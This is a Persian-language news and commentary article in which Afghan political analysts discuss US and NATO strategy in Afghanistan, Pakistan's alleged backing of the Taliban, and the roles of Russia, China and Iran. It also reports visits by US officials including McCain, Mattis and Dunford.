وی ادامه داد: در زمانیکه حدود صد و پنجاه هزار نیروی بین المللی در افغانستان وجود داشت، و ما در آن زمان بیش از صد هزار نیروهای امنیتی افغانستان را داشتیم، آماری که از طالبان ارایه می شد، حدود پنج هزار، نفر بود. یک لشکر تا به دندان مسلح بین المللی، با تمامی تجهیزات ارتباطی و یک دولت نتوانستند که پنج هزار طالبان را سقوط دهند. این امر نشان می دهد که متاسفانه سیاست های ناتو و آمریکا در افغانستان شفاف نبود و اینها به نحوی خواستار این بودند که یک ناامنی نسبی در افغانستان وجود داشته باشد.

حسینی، معتقد است امروز معادلات طالبان در افغانستان تغییر کرده است و بیان داشت: اینطور نیست که بگوییم که آمریکایی ها از وضعیت پاکستان آگاهی نداشتند، تا امروز حدود سی میلیارد دالر، از طرف آمریکا و کشورهای هم پیمان آمریکا، به پاکستان کمک شده است، اما در حال حاضر سیاست های آنان به بن بست رسیده است، به این دلیل به بن بست رسیده است که بازیگران جدیدی وارد میدان افغانستان شده اند. امروز دیگر، برخورد با طالبان، نابود کردن آنان و دیگر گروه های تروریستی، در افغانستان در توان آمریکا نیست. تا حالا بعضی از سیاسیون و اعضای سنای آمریکا و هم جامعه بین المللی و هم دولت افغانستان، بارها و بارها اینها را به وضاحت اعلام کرده اند که لانه حمایت از تروریست ها در پاکستان است. گروه حقانی در کجا قرار دارد؟ در پاکستان قرار دارد. امروز ممکن است خواهان این باشند که طالبان در افغانستان تضعیف شوند یا شکست بخورند، اما وضعیت تغییر کرده است. تا قبل از ۲۰۰۴، اگر حکومت افغانستان و یا آمریکا، می خواست و اراده داشت، به آسانی توان مقابله و سرکوب طالبان را در افغانستان، داشت، چرا که در آن زمان، پشتوانه اصلی طالبان و مدیریت طالبان توسط پاکستان، آمریکا و ناتو صورت می گیرفت اما امروز بازیگران جدید بوجود آمده است. امروز دیگر آمریکا نمی تواند روی روسیه، فشار بیاورد. آمریکا و ناتو توانایی فشار آوردن روی پاکستان را داشتند اما توانایی فشار بر روسیه را ندارند و یا حتی از لحاظ سیاسی و مسایل امنیتی هم چین هم تا جایی دخالت دارد و آمریکا و ناتو توان فشار بر روی چین را ندارد.

رییس حزب عدالت و توسعه، معتقد است، افسار طالبان از دست آمریکا خارج شده است و گفت: در آن زمان فرمان جنگی طالبان در دست پاکستان و آمریکا بود، اما در حال حاضر کشورهای دیگری نیز در آن دخیل شده اند. برخی از گروه های طالبان در اختیار پاکستان قرار دارند اما بعضی از گروه های طالبان امروز در دست کشورهای دیگری مانند ایران، روسیه و حتی چین می تواند قرار داشته باشد. ترکیه و آمریکا و پاکستان دیگر به عنوان کلید مدیریت جنگ در افغانستان، حساب نمی شوند و کشورهای دیگری که مخالف و رقیب آمریکا در زد و بندهای سیاسی و امنیتی جهان هستند آنها دیگر، حضور پیدا نمی کنند.

وی، در خصوص نقش دولت افغانستان در وقایع افغانستان اظهار کرد: در این میان دولت افغانستان هم کسی نیست که بخواهد یا نخواهد، دولت افغانستان به عنوان یکی از بازیگران اصلی در کنار بازیگران جامعه بین المللی یعنی آمریکا و ناتو قرار دارد و همان برنامه ها و استراتژی هایی که غرب در افغانستان دارد، دولت افغانستان تا امروز از آن حمایت کرده است.

حسینی، در خصوص دلیل افزایش نیروهای ناتو در افغانستان اظهار کرد: ممکن است آمریکایی ها این تصمیم را بگیرند که گروه های طالبان در افغانستان سرکوب شوند اما آنها خودشان هم می دانند که دیگر به این هدف دست پیدا نمی کنند. چرا که وضعیت دیروز افغانستان و منطقه متفاوت با وضعیت امروز افغانستان است. اینکه ناتو تصمیم می گیرد به همراه آمریکا در افغانستان نیروهای خود را زیاد کند می تواند دو دلیل عمده داشته باشد. اول اینکه با توجه به وضعیت ضعیف و ناتوان حکومت وحدت ملی حتی بیم آن در افغانستان می رود که نظام سقوط کند و آنها می خواهند با نیرویی که در افغانستان وارد می کنند، حداقل از سقوط نظام باید جلوگیری کنند.

وی، ادامه داد: هدف دومی را که نیروهای ناتو از افزایش نیروهای شان دارند این است که از لحاظ تبلیغاتی به افغانستان و جهان نشان بدهند که هنوز آمریکا و ناتو از افغانستان دست بردار نیستند و این می تواند نشانه اهمیت افغانستان برای آمریکا و ناتو قلمداد شود. اما به صورت کلی می توان گفت که آمریکا باید خواسته های خود را تعطیل کند. آن چیزی را که دیروز می توانست از افغانستان به دست بیاورد، امروز دیگر نمی تواند. یعنی آنها بیایند با کشورهای دیگر مانند روسیه، چین، ایران، ترکیه و دیگر کشورهایی مثل پاکستان که هنوز هم به نحوی، در کنار آمریکا قرار دارد،بیایند یکجا شوند یعنی مشکل افغانستان، قبل از اینکه یک معضل ملی باشد، معضل بین المللی است و معضل بین المللی باید بر اساس مذاکرات و تفاهم های جامعه بین المللی حل شود.

حسینی، در اخیر بیان داشت: آمریکایی ها اگر می خواهند در اینجا بیش از این شکست نخورند، باید صداقت خود را به ملت افغانستان ثابت کنند. سیاست های ناتو و آمریکا به یک پیمانه بزرگی در افغانستان شکست خورده است. سیاست های آمریکا، در افغانستان به بن بست رسیده است. وقتی یک تغییر می آید، یک ضلع بزرگی از این تغییر باید این باشد که اینها بیایند با ملت افغانستان و با حکومت افغانستان، با صداقت و راستی، رفتار کنند. کشورهای دیگر با یک پیمانه کوچکتر تاثیرگزار هستند اما عامل اصلی گروه های تروریستی هنوز هم در پاکستان است.دیگران دخالت دارند اما هنوز به پیمانه پاکستان نرسیده اند. بیایند روی پاکستان فشار بیاورند. امروز اکثر ناامنی هایی که در افغانستان می شود از طرف داعش است و منبع آن از داخل پاکستان است.

آمریکا به زورگویی در افغانستان باور دارد

اخیرا شاهد بررسی وضعیت افغانستان از سوی آمریکا و شرکای استراتژیک آمریکا، در ماموریت افغانستان هستیم. جان نیکلسون فرمانده ارشد نیروهای آمریکایی در افغانستان، رییس ستاد ارتش، وضعیت دفاع، وضعیت افغانستان را به بررسی گرفته و قرار است، در تازه ترین مورد راهبرد جدید آمریکا در قبال افغانستان، منطقه بخصوص پاکستان رسما اعلام شود. در ادامه ما شاهد سفر یک هیات سنای آمریکا در راس جان مکین در پاکستان هستیم و می گویند که پاکستان باید از حمایت افراط گرایی دست بردارد و با سیاست های کلان جهانی همسو شود وگرنه مجازات خواهد شد.

 احمد سعیدی آگاه مسایل سیاسی در برنامه «تحول» گفت: فراموش نشود که این اولین سفر جان مکین در افغانستان نیست. این سناتور قبلا نوزده مرتبه به افغانستان سفر کرده است. همچنین یکی از سناتوران ارشد دیگر هم با آقای مکین همراه است. وی هم هشتمین سفرش به افغانستان است. اینها سیاست های پاکستان و افغانستان را به خوبی می دانند. اما تفاوتی که این سفر با سفرهای گذشته دارد، این است که در حال حاضر افغانستان و منطقه، با مشکلات گوناگونی دست و پنجه نرم می کند. مشکلات منطقه ای و فرامنطقه ای، تنش ها و چالش ها به اوج خود رسیده است و رقابت های سیاسی هم از این دسته می باشد. حاکمیت موجود در افغانستان، مشکلات درونی، عدم اعتماد ملی، باورهای رهبری با یکدیگر دست و پنجه نرم می کند. در چنین وضعیتی سناتوران آمریکا آمده اند و وزیر دفاع آمریکا می گوید که بعد از این، برد برد در افغانستان مطرح نیست. بلکه برد باخت مطرح است. ولی حداقل باید از باخت باخت مطلق جلوگیری کرد.

وی، در این خصوص توضیح داد: حالا پاکستان هم برای آمریکا لباس آتشین است. اگر پاکستان را آمریکا از وجود خود بیرون کند، جان شان لخت می شود و اگر تا آخر آن را با خود و در تن خود داشته باشد ، خطرهای زیادی متوجه آن می شود. اما نباید یک نکته را فراموش کرد که در حال حاضر ما باید سفر این سناتور ها را به طور اسمی به فال نیک بگیریم اما به این باور نباشیم که با این سفر، جنگ فروکش می کند، صلح دامنگیر ما شود و مشکلات ما حل شود. حداقل این سفر این نتیجه را خواهد داشت که از سقوط مطلق افغانستان در پرتگاه نابودی جلوگیری خواهد کرد و جنگ ادامه خواهد یافت.

سعیدی، در خصوص نظر آمریکا نسبت به افغانستان در منطقه بیان داشت: آمریکا در حال حاضر، سیستم یک قطبی را در جهان مدیریت می کند و به نظامی گری و زورگویی تا هنوز باور دارد، در حالیکه جمعی از وزیران دفاع، مشاور امنیتی اش و مسوولان دیگر آمریکا، به باخت در افغانستان باور دارند. اما به باور من آمریکا تا هنوز حاضر نیست با حریفان منطقه ای خود، همه جانبه تفاهم کند و آنها را شریک برد در منطقه کند نه شریک باخت. من باور ندارم که هرگز آمریکا فدراتیف روسیه را در سرنوشت افغانستان، سهم فعال بدهد. هنوز باور ندارم چین که یک ابرقدرت اقتصادی، نظامی است در منطقه، آمریکا آن را در سرنوشت افغانستان دست باز دهد و تصمیم گیری کند. البته کشورها و اشخاصی را دست باز خواهد داد، که به نحوی در سایه مغناطیسی آمریکا قرار دارد. مانند سعودی و کشورهای عربی و پاکستان و بعضی کشورهای دیگر.

این آگاه سیاسی، در مورد تصمیمات آمریکا برای افغانستان بیان داشت: قرار بود که مقام های آمریکایی سیاست جدید و استراتژی جدید نظامی خود را در جلسه هفته قبلی بروکسل اعلام کنند. اما همزمان با حضورداشت وزیر دفاع آمریکا، اعلام شد که تا دو سه هفته دیگر، این سیاست به تعویق افتاده است. به باور من این بر می گردد به این که چند هفته قبل، اشرف غنی، در حاشیه جلسه شانکهای، دید و بازدیدی با رییس جمهور و دید و بازدیدی با نواز شریف داشت. همزمان با این دید و بازدیدها، دید و بازدیدهای محرمانه ای، در داخل پاکستان و افغانستان تحت نمایندگی و سرپرستی آمریکایی ها به خاطر روابط آغاز شد. اشرف غنی در تاجیکستان، با نواز شریف دیدار رودروریی خواهد داشت و همچنین حنیف اتمر به زودی، بعد از برگشت از آلمان سفری به پاکستان خواهد داشت و بعد از سفر سرتاج عزیز، سفری به کابل خواهد داشت، بعد از سفر سرتاج عزیز، بدون شک، نواز شریف به کابل خواهد آمد و روابط افغانستان و پاکستان به یک نحوی از بن بست سیاسی به طور اسمی بیرون خواهد شد، اما پاکستان هرگز عمق استراتژی دراز مدت خود را در افغانستان فراموش نخواهد کرد.

وی، ادامه داد: بر این باور هستم که سفر هیات آمریکایی در حال حاضر، عملیاتی را که تحت نظر آمریکایی ها سازماندهی می شود می تواند از بن بست سیاسی که به خاطر تعزیرات اقتصادی سیاسی، بر پاکستان مطرح است، بیرون برود و بالاخره پاکستان به عنوان یک دوست نیم بند ولی استراتژیک در مقابل آمریکا در منطقه، باشد.

سعیدی در خصوص وضعیت کنونی منطقه و در راس افغانستان اظهار کرد: در حال حاضر بازی های منطقه ای بسیار بغرنج و پیچیده است. از یک طرف آمریکا، علیه روسیه تعذیرات را مطرح می کند و از طرف دیگر، در هفته پیش رو، دونالد ترامپ در آلمان ملاقات خواهد داشت. از طرف دیگر، ایران خود را دوست استراتژیک و همپیمان افغانستان می داند، اما آقای حسن روحانی به خود حق می دهد که درباره بندها و انهار افغانستان بحث کند و بگوید قابل تشویش است. این یک پیچیدگی دیگر است و همچنین، ایران به خود حق می دهد که در مدیریت آب های افغانستان، بحث کند و این قابل تشویش است ولی حکومت افغانستان، با ناتوانی به ضعفی که دارد در مقابل رییس جمهور ایران خاموشی اختیار کرده است و آنچه را که تاکید می کنم شکست داعش در سوریه و عراق حتمی است و داعش به طریق ممکن در قدم اول، اختیارات مخفی را جایگزین سیاست های خود خواهد کرد و به حملات زیرزمینی دست خواهد زد و بعضا در افغانستان و در منطقه سرازیر خواهد شد و کوشش خواهد شد که به آسیای میانه برسد. جلوگیری از اینهم یک بن بست سیاسی است. راکت پراکنی کوریای شمالی در حال حاضر و قهر و غضبی را که آمریکا مطرح می کند و آنچه را که جاپان و کشورهای کوریای جنوبی تشویش دارد، این هم در قضایای بین المللی مطرح است. در چنین وضعیتی، حکومت افغانستان با چالش های دروغی خود، دست و پنجه نرم می کند، ایتلاف ها، سیاست گذاری هایی که در حالت آبستن هستند، در چنین حالتی افغانستان را فقط چند اصل می تواند نجات دهد، یک، اتحاد و همبستگی ملی مردم افغانستان، توافق روی یک اجماع ملی، در سرنوشت صلح و جنگ افغانستان، ایجاد اصلاحات در حکومت وحدت ملی، ایجاد اعتماد ملی و بین المللی و بالاخره به این نقطه رسیدن که آمریکا و کشورهایی که افغانستان را دوست خود می دانند و می خواهند که از نگاه نظامی، حمایت کنند و به این نتیجه برسند که گام های صادقانه بردارند منافع خود را درست مد نظر داشته باشند اما منافع ملی افغانستان را به خاطر منافع دیگران لگد مال نکنند.

امریکا برای جلب تعهدات کشور های عضو ناتو برای افغانستان تلاش می کند

جنرال جمیز متیس، وزیر دفاع امریکا به هدف گفتگو با متحدان اش در مورد استراتیژی جدید واشنگتن در قبال افغانستان، دیروز وارد آلمان شد.
رسانه های امریکایی می گویند: آلمان یکی از متحدان کلیدی سازمان نظامی ناتو است و به همین دلیل امریکا می خواهد در مورد استزاتیژی جدید اش در پیوند به جنگ افغانستان با مقام های آلمانی صحبت و مشوره کند.
از سوی هم جنرال متیس، فردا وارد بروکسل خواهد شد و با وزیران دفاع ناتو نیز در این مورد صحبت خواهد کرد. همزمان با این،جنرال جوزف دانفورد، لوی درستیز امریکا که روز دوشنبه وارد کابل شد، سرگرم ارزیابی اوضاع امنیتی کشور و ماموریت نظامیان کشور اش در افغانستان می باشد.
منابع خبری می گویند: دانفورد در جریان سه روز گذشته با نظامیان امریکایی مستقر در بگرام دیدار کرده و همچنان با سفیر واشنگتن در کابل پیرامون اوضاع امنیتی وسیاسی افغانستان صحبت های مفصل داشته است.
هر چند وزارت دفاع افغانستان هدف از سفر این مقام ارشد نظامی امریکا به افغانستان را ارزیابی اوضاع امنیتی و سیاسی می داند، ولی او تا اکنون با هیچ یک از مقام های امنیتی ودفاعی افغان دیدار و صحبت نکرده است.
با این حال، قرار است جنرال جوزف دانفورد امروز با محمد اشرف غنی رئیس جمهور کشور در ارگ دیدار نماید.

از فروشگاه ما دیدن فرمایید رد کردن